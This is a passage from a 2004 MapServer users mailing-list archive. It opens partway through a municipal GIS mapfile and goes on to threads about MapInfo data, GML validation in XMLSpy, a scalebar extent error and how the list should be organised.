0 0 89 END STATUS ON #template "legend.html" END # # Start of scalebar # SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 0 0 0 SIZE SMALL END SIZE 400 5 COLOR 255 255 255 BACKGROUNDCOLOR 0 0 0 OUTLINECOLOR 0 0 0 UNITS kilometers INTERVALS 5 STATUS ON END QUERYMAP STYLE HILITE #selected COLOR 255 0 0 # status on END OUTPUTFORMAT NAME gif DRIVER "GD/GIF" MIMETYPE "image/gif" IMAGEMODE PC256 EXTENSION "gif" END OUTPUTFORMAT NAME png24 DRIVER "GD/PNG" MIMETYPE "image/png" IMAGEMODE rgba EXTENSION "png" END OUTPUTFORMAT NAME png DRIVER "GD/PNG" MIMETYPE "image/png" IMAGEMODE PC256 EXTENSION "png" END OUTPUTFORMAT NAME jpeg DRIVER "GD/JPEG" MIMETYPE "image/jpeg" IMAGEMODE RGB EXTENSION "jpg" END OUTPUTFORMAT NAME wbmp DRIVER "GD/WBMP" MIMETYPE "image/wbmp" IMAGEMODE PC256 EXTENSION "wbmp" END OUTPUTFORMAT NAME swf DRIVER "SWF" MIMETYPE "application/x-shockwave-flash" EXTENSION "swf" IMAGEMODE PC256 FORMATOPTION "OUTPUT_MOVIE=SINGLE" END OUTPUTFORMAT NAME GTiff DRIVER "GDAL/GTiff" MIMETYPE "image/tiff" IMAGEMODE RGB EXTENSION "tif" END # # Start of layer definitions # layer debug on name "Colour Satellite Image 8bit" metadata "wms_title" "Colour Satellite Image8" end type raster status off data "e:\GIS_Claims\gisdata\MapInfo\OrthoPhoto\Satellite_images\test\whitehorse_q b.tif" class name "Colour Satellite Image8" end projection auto end end LAYER debug off NAME "Yukon Satellite Image" metadata Description "Yukon Satellite Image" wms_title "Yukon Satellite Image" end TYPE RASTER STATUS Off data "e:\GIS_Claims\gisdata\MapInfo\OrthoPhoto\Satellite_images\Yukon_Images\Yuko nMosaicShadedRelief90m.tif" #PROCESSING "BANDS=1,2" PROCESSING "BANDS=1,2,3,4" #OFFSITE 71 74 65 #minscale 1700 #PROCESSING "BANDS=3,2,1,4" processing "BANDS=1,2,3,4" class name "Yukon Satellite Image" end END layer #debug true name "tiled ortho" type raster #TYPE TILEINDEX tileindex "e:\gis_claims\gisdata\MapInfo\OrthoPhoto\RotatedOrthos\Rotated_Sht1-4_1m_re gion" tileitem 'LOCATION' class name "index" end end LAYER debug on NAME "Ortho Sheet 1" METADATA DESCRIPTION "Ortho Sheet 1" END Group "Ortho Photos" TYPE raster STATUS Off data "e:\GIS_Claims\gisdata\MapInfo\OrthoPhoto\RotatedOrthos\RotatedSht1_1m.tif" CLASS name "Ortho Photo Sheet 1" keyimage "gray_blob.png" END END # layer LAYER debug on NAME "Ortho Sheet 2" METADATA DESCRIPTION "Ortho Sheet 2" END Group "Ortho Photos" TYPE raster STATUS Off data "e:\GIS_Claims\gisdata\MapInfo\OrthoPhoto\RotatedOrthos\RotatedSht2_1m.tif" CLASS name "Ortho Photo Sheet 2" keyimage "gray_blob.png" END END # layer LAYER debug on NAME "Ortho Sheet 3" METADATA DESCRIPTION "Ortho Sheet 3" END Group "Ortho Photos" TYPE raster STATUS Off data "e:\GIS_Claims\gisdata\MapInfo\OrthoPhoto\RotatedOrthos\RotatedSht3_1m.tif" CLASS name "Ortho Photo Sheet 3" keyimage "gray_blob.png" END END # layer LAYER debug on NAME "Ortho Sheet 4" METADATA DESCRIPTION "Ortho Sheet 4" END Group "Ortho Photos" TYPE raster STATUS Off data "e:\GIS_Claims\gisdata\MapInfo\OrthoPhoto\RotatedOrthos\RotatedSht4_1m.tif" CLASS name "Ortho Photo Sheet 4" keyimage "gray_blob.png" END END # layer LAYER debug on NAME "City Streets" METADATA DESCRIPTION "City Streets" END TYPE POLYGON CONNECTIONTYPE OGR CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Cadastre\City_Streets.TAB" STATUS Off #maxscale 8000 #minscale 100 LABELITEM "street_name" LABELMAXSCALE 5000 LABELminscale 1000 TRANSPARENCY 50 CLASS name "City Streets" color 145 137 103 #outlinecolor 120 120 120 LABEL COLOR 132 31 31 SHADOWCOLOR 218 218 218 SHADOWSIZE 2 2 TYPE TRUETYPE FONT arial SIZE 8 ANTIALIAS TRUE # #POSITION CL position auto PARTIALS true # #MINDISTANCE 300 BUFFER 1 ANGLE AUTO END # end of label END PROJECTION ## <32608> "proj=utm" #"init=epsg:32608" "ZONE=8" "ellps=WGS84" "datum=WGS84" "units=m" "north" "no_defs" END END # Layer LAYER debug on NAME "Streams Indefinite" Group "Streams, Rivers, Lakes" METADATA DESCRIPTION "Streams Indefinite" END TYPE LINE STATUS Off CONNECTIONTYPE OGR CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Draft Surface Water Inventory\StreamsIndefinite.TAB" minscale 100 CLASS name "Streams indefinite" color 225 249 255 outlinecolor 186 234 245 END PROJECTION ## <32608> "proj=utm" #"init=epsg:32608" "ZONE=8" "ellps=WGS84" "datum=WGS84" "units=m" "north" "no_defs" END END # layer LAYER debug on NAME Streams Group "Streams, Rivers, Lakes" METADATA DESCRIPTION "Streams" END TYPE LINE STATUS Off CONNECTIONTYPE OGR CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Draft Surface Water Inventory\Streams.tab" #minscale 100 LABELITEM "Name" LABELMAXSCALE 8000 LABELminscale 1000 CLASS name "Streams" COLOR 225 249 255 OUTLINECOLOR 186 234 245 SIZE 2 LABEL COLOR 186 234 245 SHADOWCOLOR 0 0 0 SHADOWSIZE 1 1 TYPE TRUETYPE FONT arial SIZE 8 ANTIALIAS TRUE #POSITION CL position auto PARTIALS true MINDISTANCE 300 BUFFER 4 ANGLE AUTO END # end of label END END # layer LAYER debug on NAME Rivers Group "Streams, Rivers, Lakes" METADATA DESCRIPTION "Rivers" END TYPE POLYGON STATUS Off CONNECTIONTYPE OGR CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Draft Surface Water Inventory\River.tab" minscale 100 CLASS name "Rivers" COLOR 225 249 255 OUTLINECOLOR 186 234 245 END END # layer LAYER debug on NAME Lakes Group "Streams, Rivers, Lakes" METADATA DESCRIPTION "Lakes" END TYPE POLYGON STATUS off CONNECTIONTYPE OGR CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Draft Surface Water Inventory\Lakes.tab" LABELITEM "Name" LABELMAXSCALE 15000 LABELminscale 1000 minscale 100 CLASS name "Lakes" COLOR 225 249 255 OUTLINECOLOR 186 234 245 LABEL COLOR 186 234 245 SHADOWCOLOR 0 0 0 SHADOWSIZE 1 1 TYPE TRUETYPE FONT arial SIZE 8 ANTIALIAS TRUE #POSITION CL position auto PARTIALS true MINDISTANCE 300 BUFFER 4 END # end of label END END # layer LAYER debug on NAME Zoning METADATA DESCRIPTION "Zoning" END TYPE polygon STATUS Off CONNECTIONTYPE OGR CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Zoning\ZoneRegions.tab" minscale 100 LABELITEM "ZoningDesignation" LABELMAXSCALE 5000 LABELminscale 1000 maxscale 8000 CLASS name "Zoning" # COLOR 125 149 155 OUTLINECOLOR 86 134 145 LABEL color 70 87 74 shadowcolor 138 159 143 SHADOWSIZE 1 1 TYPE TRUETYPE FONT arial SIZE 8 ANTIALIAS TRUE #POSITION CL position auto PARTIALS true MINDISTANCE 300 BUFFER 4 END # end of label END END # layer LAYER debug on NAME Subdivision METADATA DESCRIPTION "Subdivision" END TYPE POLYGON STATUS Off CONNECTIONTYPE OGR CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Cadastre\Subdivision_NEW.TAB" minscale 100 LABELITEM "Subdivision" #LABELMAXSCALE 25000 LABELMINSCALE 2000 CLASS name "Subdivision" #COLOR 125 149 155 OUTLINECOLOR 46 254 62 LABEL COLOR 46 254 62 SHADOWCOLOR 66 24 82 SHADOWSIZE 1 1 #TYPE TRUETYPE #FONT arial #SIZE 8 ANTIALIAS TRUE #POSITION CL position auto PARTIALS true MINDISTANCE 5 BUFFER 1 END # end of label END END # layer LAYER debug on NAME "Document Envelope" group "Cadastre Layers" CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Cadastre\DOCENV_region.TAB" CONNECTIONTYPE OGR METADATA DESCRIPTION "Doc_env" RESULT_FIELDS "DXF_TEXT" END #SIZEUNITS PIXELS STATUS On TOLERANCE 5 TOLERANCEUNITS meters TYPE POLYGON #UNITS METERS minscale 100 maxscale 3000 CLASS NAME "Doc_Envelope" template "W.html" STYLE OUTLINECOLOR 122 167 203 #SIZE 1 #SYMBOL 0 END END END # layer LAYER debug on NAME "Condo" group "Cadastre Layers" CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Cadastre\Condo_POLY.TAB" CONNECTIONTYPE OGR #data "cad_poly_region" METADATA DESCRIPTION "Condo" RESULT_FIELDS "upi PLAN_NO LTO_NO LEGAL_DESC" END #SIZEUNITS PIXELS STATUS On #TOLERANCE 5 #TOLERANCEUNITS meters TYPE POLYGON #UNITS METERS minscale 100 CLASS NAME "condo" template "x.html" STYLE OUTLINECOLOR 111 23 227 SIZE 1 SYMBOL 0 END END END # layer LAYER debug on NAME "Unsurveyed" group "Cadastre Layers" CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Cadastre\UNSURV_POLY.TAB" CONNECTIONTYPE OGR #data "cad_poly_region" METADATA DESCRIPTION "Unsurveyed" RESULT_FIELDS "upi PLAN_NO LTO_NO LEGAL_DESC" END #SIZEUNITS PIXELS STATUS On #TOLERANCE 5 #TOLERANCEUNITS meters TYPE POLYGON #UNITS METERS minscale 100 CLASS NAME "Unsurveyed" template "x.html" STYLE OUTLINECOLOR 255 155 0 SIZE 1 SYMBOL 0 END END END # layer LAYER #debug false NAME "Cadastre Text" #group "Cadastre Layers" CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Cadastre\CAD_text.tab" CONNECTIONTYPE OGR METADATA DESCRIPTION "Cadastre Text" END STATUS On #type point TYPE annotation minscale 100 MAXSCALE 5000 STYLEITEM "AUTO" #classitem "cad_text" LABELITEM "TEXT" CLASS debug true NAME "Cadastre Text" symbol 1 #keyimage "black_a.png" #OUTLINECOLOR 86 134 145 LABEL position auto PARTIALS true angle auto END # end of label END END # layer # LAYER debug on NAME "Address Number" group "Cadastre Layers" CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Cadastre\CAD_address.tab" CONNECTIONTYPE OGR METADATA DESCRIPTION "Address Number" #RESULT_FIELDS "upi PLAN_NO LTO_NO LEGAL_DESC" END STATUS On TYPE point minscale 100 MAXSCALE 5000 Styleitem "AUTO" #LABELANGLEITEM CLASS.LABEL.ANGLE #LABELITEM "TEXT" CLASS NAME "Address Number" keyimage "red_a.png" END END # layer LAYER debug on NAME "Cadastre" group "Cadastre Layers" CONNECTION "e:\GIS_Claims\gisdata\MapInfo\Cadastre\CAD_POLY.tab" CONNECTIONTYPE OGR #data "cad_poly_region" METADATA DESCRIPTION "Cadastre" RESULT_FIELDS "upi PLAN_NO LTO_NO LEGAL_DESC" END #SIZEUNITS PIXELS STATUS On #TOLERANCE 5 #TOLERANCEUNITS meters TYPE POLYGON #UNITS METERS minscale 100 CLASS debug on NAME "Cadastre" template "x.html" STYLE OUTLINECOLOR 255 255 0 SIZE 1 SYMBOL 0 END END END # layer # LAYER # NAME "GRID" # PROJECTION # # "proj=utm" # # "ZONE=8" # # "ellps=WGS84" # # "DATUM=WGS84" # # "UNITS=m" # # "north" # # "no_defs" # "proj=latlong" # "ellps=WGS84" # "datum=WGS84" # END # TYPE LINE # STATUS off # CLASS # name "Grid" # COLOR 0 255 128 # LABEL # TYPE BITMAP # SIZE MEDIUM # COLOR 255 128 89 # END # END # GRID # MINSUBDIVIDE 64 # MAXSUBDIVIDE 64 # LABELFORMAT "DDMMSS" # # END # # END LAYER debug on NAME "City Parks" #group "Cadastre Layers" CONNECTION "e:\GIS_Claims\gisdata\MapInfo\City_Layers\City_Parks.tab" CONNECTIONTYPE OGR #data "cad_poly_region" METADATA DESCRIPTION "City Parks" END STATUS Off TYPE POLYGON minscale 100 #STYLEITEM "AUTO" CLASS NAME "City Parks" STYLE OUTLINECOLOR 17 255 120 color 17 255 120 SIZE 1 SYMBOL 0 END END END # layer layer debug on name "Overall Water - Poly" group "Overall Water" connection "e:\GIS_Claims\gisdata\MapInfo\Engineering\Overall_drawings\Water_combined.t ab" connectiontype OGR metadata description "Overall Water - Poly" end minscale 100 MAXSCALE 10000 status off type polygon styleitem "auto" class name "Overall Water - Poly" keyimage "blue_line.gif" end end layer debug on name "Overall Water - Lines" group "Overall Water" connection "e:\GIS_Claims\gisdata\MapInfo\Engineering\Overall_drawings\Water_combined.t ab" connectiontype OGR metadata description "Overall Water - Lines" end status off minscale 100 MAXSCALE 10000 type LINE styleitem "auto" class name "Overall Water - Lines" keyimage "blue_poly.png" end end layer debug on name "Overall Water - Text" group "Overall Water" connection "e:\GIS_Claims\gisdata\MapInfo\Engineering\Overall_drawings\Water_combined.t ab" connectiontype OGR metadata description "Overall Water - Text" end minscale 100 MAXSCALE 3000 status off type ANNOTATION styleitem "auto" class name "Overall Water - Text" keyimage "blue_a.png" end end layer debug on name "Overall Sanitation - Poly" group "Overall Sanitation" connection "e:\GIS_Claims\gisdata\MapInfo\Engineering\Overall_drawings\sanitation.tab" connectiontype OGR metadata description "Overall Sanitation - Poly" end minscale 100 MAXSCALE 10000 status off type polygon styleitem "auto" class name "Overall Sanitation - Poly" keyimage "red_poly.png" end end layer debug on name "Overall Sanitation - Point" group "Overall Sanitation" connection "e:\GIS_Claims\gisdata\MapInfo\Engineering\Overall_drawings\sanitation.tab" connectiontype OGR metadata description "Overall Sanitation - Point" end minscale 100 MAXSCALE 3000 status off type point styleitem "auto" class name "Overall Sanitation - Point" #keyimage "red_poly.png" end end layer debug on name "Overall Sanitation - Lines" group "Overall Sanitation" connection "e:\GIS_Claims\gisdata\MapInfo\Engineering\Overall_drawings\sanitation.tab" connectiontype OGR metadata description "Overall Sanitation - Lines" end status off minscale 100 MAXSCALE 10000 type line styleitem "auto" class name "Overall Sanitation - Lines" keyimage "red_line.gif" end end layer debug on name "Overall Sanitation - Text" group "Overall Sanitation" connection "e:\GIS_Claims\gisdata\MapInfo\Engineering\Overall_drawings\sanitation.tab" connectiontype OGR metadata description "Overall Sanitation - Text" end minscale 100 MAXSCALE 3000 status off type annotation styleitem "auto" class name "Overall Sanitation - Text" keyimage "red_a.png" end end layer debug on name "Overall Storm Drain - Poly" group "Overall Storm Drain" connection "e:\GIS_Claims\gisdata\MapInfo\Engineering\Overall_drawings\Storm_Drains.tab " connectiontype OGR metadata description "Overall Storm Drain - Poly" end minscale 100 MAXSCALE 10000 status off type polygon styleitem "auto" class name "Overall Storm Drain - Poly" keyimage "green_a.png" end end layer debug on name "Overall Storm Drain - Point" group "Overall Storm Drain" connection "e:\GIS_Claims\gisdata\MapInfo\Engineering\Overall_drawings\Storm_Drains.tab " connectiontype OGR metadata description "Overall Storm Drain - Point" end minscale 100 MAXSCALE 3000 status off type point styleitem "auto" class name "Overall Storm Drain - Point" #keyimage "green_a.png" end end layer debug on name "Overall Storm Drain - Lines" group "Overall Storm Drain" connection "e:\GIS_Claims\gisdata\MapInfo\Engineering\Overall_drawings\Storm_Drains.tab " connectiontype OGR metadata description "Overall Storm Drain - Lines" end status off minscale 100 MAXSCALE 10000 type line styleitem "auto" class name "Overall Storm Drain - Lines" keyimage "green_a.png" end end layer debug on name "Overall Storm Drain - Text" group "Overall Storm Drain" connection "e:\GIS_Claims\gisdata\MapInfo\Engineering\Overall_drawings\Storm_Drains.tab " connectiontype OGR metadata description "Overall Storm Drain - Text" end minscale 100 MAXSCALE 3000 status off type annotation styleitem "auto" class name "Overall Storm Drain - Text" keyimage "green_a.png" end end layer debug on name "Wildlife Sightings" group "Wildlife Sightings" connection "e:\GIS_Claims\gisdata\MapInfo\User_DATA\Mike_Merrett\wildlife\Wildlife_Sigh tings_Working_Copy.TAB" connectiontype OGR metadata description "Wildlife Sightings" RESULT_FIELDS "Species Comments Date Time" end #minscale 100 #MAXSCALE 5000 status off type point #styleitem "auto" TOLERANCE 40 TOLERANCEUNITS meters classitem Species class expression 'Beaver' template "x.html" name "Wildlife Sightings - beaver" color 255 128 0 symbol 'beaver' size 15 end class expression 'Black bear' name "Wildlife Sightings - black bear" template "x.html" color 0 0 100 symbol 'black_bear' #symbol 1 size 15 end class expression 'Caribou' template "x.html" name "Wildlife Sightings - caribou" color 255 128 0 symbol 'caribou' size 15 end class expression 'Coyote' name "Wildlife Sightings - coyote" template "x.html" color 255 128 255 symbol 'coyote' size 20 end class expression 'Fox' template "x.html" name "Wildlife Sightings - fox" color 255 128 0 symbol 'fox' size 15 end class expression 'Grizzly bear' name "Wildlife Sightings - Grizzly bear" template "x.html" color 0 0 100 symbol 'grizzly' size 15 end class expression 'Lynx' template "x.html" name "Wildlife Sightings - Lynx" color 255 128 0 symbol 'lynx' size 15 end class expression 'Marten' template "x.html" name "Wildlife Sightings - marten" color 255 128 0 symbol 'marten' size 15 end class expression 'Moose' name "Wildlife Sightings - moose" template "x.html" color 255 128 255 symbol 'moose' size 15 end class expression 'Mule deer' name "Wildlife Sightings - mule deer" template "x.html" color 255 128 255 symbol 'deer' size 20 end class expression 'Porcupine' template "x.html" name "Wildlife Sightings - porcupine" color 255 128 0 symbol 'porcupine' size 15 end class expression 'River otter' template "x.html" name "Wildlife Sightings - River Otter" color 255 128 0 symbol 'otter' size 15 end class expression 'Trumpeter swan' template "x.html" name "Wildlife Sightings - trumpeter swan" color 255 128 0 symbol 'swan' size 15 end class expression 'Weasel' template "x.html" name "Wildlife Sightings - weasel" color 255 128 0 symbol 'weasel' size 15 end class expression 'Wolverine' template "x.html" name "Wildlife Sightings - wolverine" color 255 128 0 symbol 'wolverine' size 15 end class expression 'Wolf' name "Wildlife Sightings - wolf" template "x.html" color 255 128 255 symbol 'wolf' size 15 end class ## default class #expression 'Mule deer' name "Wildlife Sightings - others" template "x.html" color 255 128 255 symbol 7 size 10 end end END # Map File -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Belenfant Eric Sent: June 17, 2004 8:05 AM To: Mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] experiences with mapserver et MAPINFO Hi everybody, i'm wondering yet the opportunity to use mapserver. In fact we have MAPINFO to generate maps, and it seems that working with MAPINFO files in mapserver is a little complicated. So, does anyone can share an experience using mapserver and MAPINFO ??? I would be so happy to have a full project, it would justify the choice of mapserver !!! thanks in advance eric -- eric BELENFANT *Tel* : 02.38.79.45.98 ------------------------ p?le SYSTEMES PARTAGES *DEP - rectorat d'Orl?ans-Tours* --------------------------------------------------- /Pour toute information sur la DEP ou pour obtenir des statistiques sur l'acad?mie, consultez la base de pilotage/ PILOT _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bartvde at xs4all.nl Thu Jun 17 09:34:33 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Thu, 17 Jun 2004 18:34:33 +0200 Subject: [Mapserver-users] Why Mapserver GML does not validate with XMLSpy In-Reply-To: <40D11B89.90204@dmsolutions.ca> References: <17390.212.238.227.182.1087383551.squirrel@webmail.xs4all.nl> <40D11B89.90204@dmsolutions.ca> Message-ID: Hi Daniel, the guys at Altova (XMLSpy) seem to have a different opinion on this subject, see: http://www.altova.com/forum/forums/forum.asp?forumid=28&page=1&select=4262#xx4262xx ----------------------- Excerpt from the forum: ----------------------- Hello Bart, When I previously said that it was a 'bad' URL I meant that when I requested it with a web client the server responded with an HTTP error code. This seems to be working now. Your instance document contains the escaped ampersand: & ...otherwise it would not be valid - the unescaped ampersand not being allowed in this context: http://www.w3.org/TR/REC-xml/#syntax ...so this is the URL: http://www.vz.geodan.nl:1112/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=Gemeentes ...being sent to the server. This is a perfectly valid construction: http://www.biglist.com/lists/xsl-list/archives/200104/msg01061.html ...that your CGI application or web server seems to be having problems handling correctly. I hope this helps. Best regards, Paul ----------------------- Best regards, Bart On Thu, 17 Jun 2004 00:18:17 -0400, Daniel Morissette wrote: > bartvde at xs4all.nl wrote: >> Hi list, >> >> there has been discussion recently about Mapserver GML not validating >> with >> XMLSpy. >> >> A colleague of mine found the cause for this, and this is related to an >> issue I reported one and a half week ago on the list. >> >> There are two issues: >> 1) the GML version of Mapserver (2.1.1) and WFS (2.1.2) differ, but >> Assefa >> already fixed this in CVS >> 2) Mapserver does not respond properly to URL encoded HTTP GET requests, >> which is what XMLSpy is sending. >> >> So basically, XMLSpy asks for: >> http://www.vz.geodan.nl:1112/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=Gemeentes >> > > Bart, > > As I also wrote in the bug report, I don't think the above URL is a > valid CGI request. It is up to the client (XMLSpy in this case) to > decode the "&" and turn them into "&" chars in the QUERY_STRING > before calling the remote server. This is not specific to MapServer, > that's the way CGI's work in general. > > Perhaps the problem is that the schema URL should not be encoded in the > XML? I didn't think that was the case since I assumed that all string > parameter values in an XML document needed to be encoded... perhaps that > doesn't apply to the XML headers? If that's the case then perhaps you > can add that information to the bug report. > > Daniel -- From inke03 at gmx.net Thu Jun 17 09:34:32 2004 From: inke03 at gmx.net (Inge Keckeisen) Date: Thu, 17 Jun 2004 18:34:32 +0200 (MEST) Subject: [Mapserver-users] invalid image extent with dhtml demo and germany map Message-ID: <9549.1087490072@www48.gmx.net> Hi, since I try to show a map of Germany with the dhtml interface of the Itasca demo the scalebar shows the wrong scale (after zooming in a lot) or doesn't appear not at all. The original Itasca dhtml demo is working fine.Also my own mapfile runs well but only without the dhtml interface. This is what the browser brings up when right-clicking on the scalebar icon: msCalculateScale(): General error message. Invalid image extent. msCalculateScale(): General error message. Invalid image extent. mapserv(): Web application error. No way to generate map extent. Maybe I have to change something in the mapserv.js to define the map extent but don't know what I should do explicitly. I hope someone can give me a hint. Regards, Inge Keckeisen Here are some snippets of the mapfile: (The data is in WGS84, but I want to have it projected in Gauss-Krueger3) NAME 'Deutschland' STATUS ON PROJECTION 'init=epsg:31467' # Gauss-Krueger Zone3 END SIZE 350 500 EXTENT 3228330.530 5193322.629 3988410.415 6163355.154 UNITS METERS SCALEBAR STATUS ON LABEL COLOR 000 000 000 SIZE SMALL END SIZE 250 3 COLOR 0 90 230 OUTLINECOLOR 100 100 100 UNITS KILOMETERS END LAYER NAME 'Bundesgebiet' GROUP 'bundesgebiet' DATA 'data/grenze' STATUS DEFAULT TYPE POLYGON PROJECTION 'init=epsg:4326' # WGS84 END CLASS NAME 'Grenze' COLOR 210 210 210 OUTLINECOLOR 100 100 100 END END -- +++ Jetzt WLAN-Router f?r alle DSL-Einsteiger und Wechsler +++ GMX DSL-Powertarife zudem 3 Monate gratis* http://www.gmx.net/dsl From mike.merrett at city.whitehorse.yk.ca Thu Jun 17 10:38:17 2004 From: mike.merrett at city.whitehorse.yk.ca (Merrett, Mike) Date: Thu, 17 Jun 2004 10:38:17 -0700 Subject: [Mapserver-users] Other MapServer mailing lists Message-ID: <3CB96EAEFD928B49AF8978BA92BB65A41DEF53@DUKE.city.whitehorse.yk.ca> I think a forum setup might be better -- phpnuke is free (phpnuke.org) and after a bit of initial setup (not much) is ready to go Just my $0.02 Mike Merrett -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Julien-Samuel Lacroix Sent: June 17, 2004 8:36 AM To: Tyler Mitchell Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Other MapServer mailing lists Hi all, Perhaps adding some tools to respond for common questions could solve a part of the problem. It will reduce the amount of traffic on the list without splitting it (It seems that a majority does not want to split). I have two ideas here. First one, adding a "first time here" (Any other name idea are welcome) to the mapserver website. This would be a tool for new users that will take them by the hand and will explain them what's mapserver, what are the main component and more important, where to look to have the information they need (mailing-list, wiki, google, etc.). This would have to be very straight forward to do not overwhelm new users with to much information. This could also be great for teaching new users how they can contribute to community via the mailing-list/wiki. And then here's come the second idea. The wiki is a great tool for user contribution, but it's a bit chaotic and maybe sometimes it's hard to find were to look for when you have a weird error message. So maybe having a wiki page (pointed by the "first time here" page) that list all clickable error messages could be great. Then if you click on an error message then you will find all user contributed solutions to this problem. For sure it will not apply to all error since it always depends on mapfile, installation, permissions, etc., but I think it may be worthful to a lot of cases. Also we will need to encourage users to contribute to this. It's a kind of FAQ, maybe we should just get a more complete FAQ page or multiple FAQ pages (Mapscript FAQ, Raster FAQ, Query FAQ, etc.). The idea is to not split the list in many multiple sublist since most of us will subscribe to all of them anyway. So maybe we should only provide more tools to get less traffic on the current list. My 0,02$ Julien Tyler Mitchell wrote: > Some of us have been discussing/debating about how to improve the > MapServer community, specifically via the mailing lists. The idea is that > there might be some benefit gained from creating a new list or two. > > I am not sure how well all the questions get answered, especially > considering the volume of mail coming through these days. > > - I've heard from more than a few people that they unsubscribe after their > question is answered because the traffic is so high. Do you think new > users would benefit from a less threatening (lower volume!) newbie list? > - Would some specific technical areas benefit from having a list (i.e. > Mapscript)? > - Would an "announcement only" list be useful? > > What do you others on the list think? > > Tyler > > p.s. for those of you who were overcome with guilt for never replying to > my surveys, now's your chance to participate ;) ha! > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ------------------------------------------------------------ Julien-Samuel Lacroix jlacroix at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ervega at microexpertos.cl Thu Jun 17 10:38:07 2004 From: ervega at microexpertos.cl (Ernesto Vega) Date: Thu, 17 Jun 2004 13:38:07 -0400 Subject: [Mapserver-users] invalid image extent with dhtml demo and germany map References: <9549.1087490072@www48.gmx.net> Message-ID: <00ee01c45491$da8b4d50$800a1eac@microexpertos.cl> did you try to get the extents of your map using ogrinfo ??? ogrinfo will show the extents of the map, use them on your mapfile. Ernesto ----- Original Message ----- From: "Inge Keckeisen" To: Sent: Thursday, June 17, 2004 12:34 PM Subject: [Mapserver-users] invalid image extent with dhtml demo and germany map > Hi, > > since I try to show a map of Germany with the dhtml interface of the Itasca > demo the scalebar shows the wrong scale (after zooming in a lot) or doesn't > appear not at all. > The original Itasca dhtml demo is working fine.Also my own mapfile runs well > but only without the dhtml interface. > > This is what the browser brings up when right-clicking on the scalebar icon: > msCalculateScale(): General error message. Invalid image extent. > msCalculateScale(): General error message. Invalid image extent. > mapserv(): Web application error. No way to generate map extent. > Maybe I have to change something in the mapserv.js to define the map extent > but don't know what I should do explicitly. I hope someone can give me a > hint. > > Regards, > Inge Keckeisen > > Here are some snippets of the mapfile: > (The data is in WGS84, but I want to have it projected in Gauss-Krueger3) > > NAME 'Deutschland' > STATUS ON > PROJECTION > 'init=epsg:31467' # Gauss-Krueger Zone3 > END > > SIZE 350 500 > EXTENT 3228330.530 5193322.629 3988410.415 6163355.154 > UNITS METERS > > SCALEBAR > STATUS ON > LABEL > COLOR 000 000 000 > SIZE SMALL > END > SIZE 250 3 > COLOR 0 90 230 > OUTLINECOLOR 100 100 100 > UNITS KILOMETERS > END > > LAYER > NAME 'Bundesgebiet' > GROUP 'bundesgebiet' > DATA 'data/grenze' > STATUS DEFAULT > TYPE POLYGON > PROJECTION > 'init=epsg:4326' # WGS84 > END > CLASS > NAME 'Grenze' > COLOR 210 210 210 > OUTLINECOLOR 100 100 100 > END > END > > -- > +++ Jetzt WLAN-Router f?r alle DSL-Einsteiger und Wechsler +++ > GMX DSL-Powertarife zudem 3 Monate gratis* http://www.gmx.net/dsl > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From dmorissette at dmsolutions.ca Thu Jun 17 11:23:53 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 17 Jun 2004 14:23:53 -0400 Subject: [Mapserver-users] Why Mapserver GML does not validate with XMLSpy In-Reply-To: References: <17390.212.238.227.182.1087383551.squirrel@webmail.xs4all.nl> <40D11B89.90204@dmsolutions.ca> Message-ID: <40D1E1B9.2040605@dmsolutions.ca> Bart van den Eijnden wrote: > Hi Daniel, > > the guys at Altova (XMLSpy) seem to have a different opinion on this > subject, see: > > http://www.altova.com/forum/forums/forum.asp?forumid=28&page=1&select=4262#xx4262xx > Different opinion on what? They wrote that the ampersand needs to be escaped in the instance document, which is exactly in line with what I wrote. I also added that the client needs to unescape the string *before* calling the server and they suggest that this is what is being done: > > ...so this is the URL: > http://www.vz.geodan.nl:1112/cgi-bin/mapserv.exe?map=/ms4w_20/apps/general/map/gemeentes.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=DescribeFeatureType&TYPENAME=Gemeentes > > > > ...being sent to the server. This is a perfectly valid construction: > > http://www.biglist.com/lists/xsl-list/archives/200104/msg01061.html > > ...that your CGI application or web server seems to be having problems > handling correctly. > ... if I click on the URL above I see a XML schema as expected from a DescribeFeatureType response. So what's the problem exactly? What does he mean by "having problems handling correctly"? Perhaps I missed something obvious at the beginning? Is it that the schema that is returned is not valid? Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From eduardo at consultoria.eti.br Thu 